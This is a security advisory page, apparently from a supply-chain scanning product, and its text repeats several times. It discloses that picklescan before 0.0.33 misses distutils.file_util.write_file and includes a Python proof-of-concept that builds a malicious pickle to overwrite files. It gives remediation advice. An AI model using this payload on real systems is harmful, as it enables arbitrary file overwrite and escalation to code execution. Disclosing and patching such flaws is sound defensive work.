### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
Update picklescan to 0.0.33 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPicklescan vulnerable to Arbitrary File Writing affects picklescan (pip). Severity is high. ### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <0.0.33 | 0.0.33 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate picklescan to 0.0.33 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPicklescan vulnerable to Arbitrary File Writing affects picklescan (pip). Severity is high. ### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <0.0.33 | 0.0.33 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard